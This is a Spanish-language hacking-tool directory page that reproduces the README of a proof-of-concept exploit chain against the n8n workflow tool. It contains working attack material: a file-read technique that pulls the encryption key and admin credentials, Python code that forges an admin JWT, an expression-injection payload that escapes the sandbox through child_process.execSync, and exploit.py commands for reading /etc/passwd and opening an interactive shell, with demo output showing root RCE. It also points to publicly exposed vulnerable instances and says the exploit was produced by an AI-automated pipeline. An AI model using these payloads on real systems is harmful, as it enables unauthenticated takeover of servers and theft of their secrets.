Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21858 — Cadena de explotación automatizada para n8n que combina lectura arbitraria de archivos, falsificación de token de administrador y evasión de sandbox para lograr ejecución remota de código sin autenticación. | Kitploit
Herramientas/GitHubGitHub/alhakim88/cve-2026-21858
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubalhakim88/cve-2026-21858

CVE-2026-21858

Cadena de explotación automatizada para n8n que combina lectura arbitraria de archivos, falsificación de token de administrador y evasión de sandbox para lograr ejecución remota de código sin autenticación.

Ver Repositorio
16hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-21858 + CVE-2025-68613 - Cadena Completa n8n

Lectura Arbitraria de Archivos sin Autenticación → Forja de Token de Administrador → Bypass de Sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Crítico)
Afectado<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corregido1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgado2026-01-07 11:09 UTC
Nombre claveNi8mare
CréditoDor Attias (Cyera)
ExploitChocapikk
ProcesoAutomatizado con IA: diff de parche → reproducción → laboratorio → exploit (~9h tras la divulgación)
TipoPrueba de Concepto - NO es un exploit universal (requiere configuración específica del workflow, ver Limitaciones)

TL;DR

Cadena completa de RCE sin autenticación en n8n:

  1. CVE-2026-21858 - Confusión de Content-Type → Lectura Arbitraria de Archivos
  2. Leer configuración + base de datos → forjar JWT de administrador
  3. CVE-2025-68613 - Inyección de expresiones → bypass de sandbox → RCE

Detección

La exposición es basada en versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.

Resultados de LeakIX: Ver instancias expuestas

Resultados de Detección LeakIX

¿Por Qué Este Exploit?

Este exploit fue desarrollado de forma independiente al informe de Cyera (descubierto después de completarlo). Diferencias clave:

Cyera (Investigación Original)Este Exploit
Lectura de ArchivosCargar en base de conocimiento de IA → consultar vía chatRespuesta HTTP directa
Requisitos previosWorkflow de chat + integración de IACualquier formulario con subida de archivos
Método RCENodo "Execute Command" (deshabilitado por defecto)Inyección de Expresiones (funciona en instalaciones por defecto)
AutomatizaciónDemo manual/conceptualScript Python totalmente automatizado

Ambos enfoques requieren configuraciones específicas del workflow. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Ver Limitaciones para más detalles.

Cadena de Ataque

┌───────────────────────────────────────────────────────────┐
│                     SIN AUTENTICACIÓN                      │
├───────────────────────────────────────────────────────────┤
│  1. Leer /proc/self/environ → Encontrar directorio HOME   │
│  2. Leer $HOME/.n8n/config → Obtener encryptionKey        │
│  3. Leer $HOME/.n8n/database.sqlite → Obtener credenciales admin │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                       │
├───────────────────────────────────────────────────────────┤
│  4. Derivar secreto JWT de encryptionKey                  │
│  5. Forjar cookie de sesión de administrador              │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crear workflow con inyección de expresiones           │
│  7. Bypass de sandbox vía this.process.mainModule.require │
│  8. Ejecutar comandos arbitrarios                         │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lectura Arbitraria de Archivos vía Confusión de Content-Type

El Parche

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️

Causa Raíz

// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envía Content-Type: application/json → controla filepath → lee cualquier archivo.

CVE-2025-68613 - RCE por Inyección de Expresiones

¿Por Qué Este Bypass?

n8n aísla el código de usuario (Nodo de Código, expresiones) usando vm2/isolated-vm. Otros vectores RCE:

TécnicaEstado
Nodo Execute CommandDeshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false)
Nodos SSH/HTTPEjecutan en servidores remotos, no en el host de n8n
Escape de Sandbox PyodideCVE-2025-68668 - requiere Nodo de Código Python
Inyección de ExpresionesCVE-2025-68613 - funciona en instalaciones por defecto

Usé Inyección de Expresiones porque funciona en cualquier n8n con configuración por defecto - sin nodos especiales ni configuración requerida. El bypass de Pyodide (CVE-2025-68668) requiere el Nodo de Código Python que puede no estar disponible en todas las instancias.

El Payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.

Forja de Token

# Derivación del secreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuración del Laboratorio

docker compose up -d
# Esperar ~60 segundos para la configuración
# Formulario: http://localhost:5678/form/vulnerable-form
# Credenciales: [email protected] / password

Uso

# Leer archivo arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Cadena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interactivo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Cadena Completa n8n     ║
║     Lectura Arbitraria de Archivos → Forja de Token → Bypass de Sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] Objetivo: http://localhost:5678/form/vulnerable-form
[*] Versión: 1.65.0 (VULNERABLE)
[x] Directorio HOME
[+] Directorio HOME: /root
[x] Clave de cifrado
[+] Clave de cifrado: yusrXZV1...
[x] Base de datos
[+] Base de datos: 1327104 bytes
[x] Usuario administrador
[+] Usuario administrador: [email protected]
[x] Forja de token
[+] Forja de token: OK
[x] Acceso de administrador
[+] Acceso de administrador: CONCEDIDO!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitaciones

Este NO es un exploit "hackea cualquier n8n". Requiere condiciones específicas para funcionar:

Descargar herramienta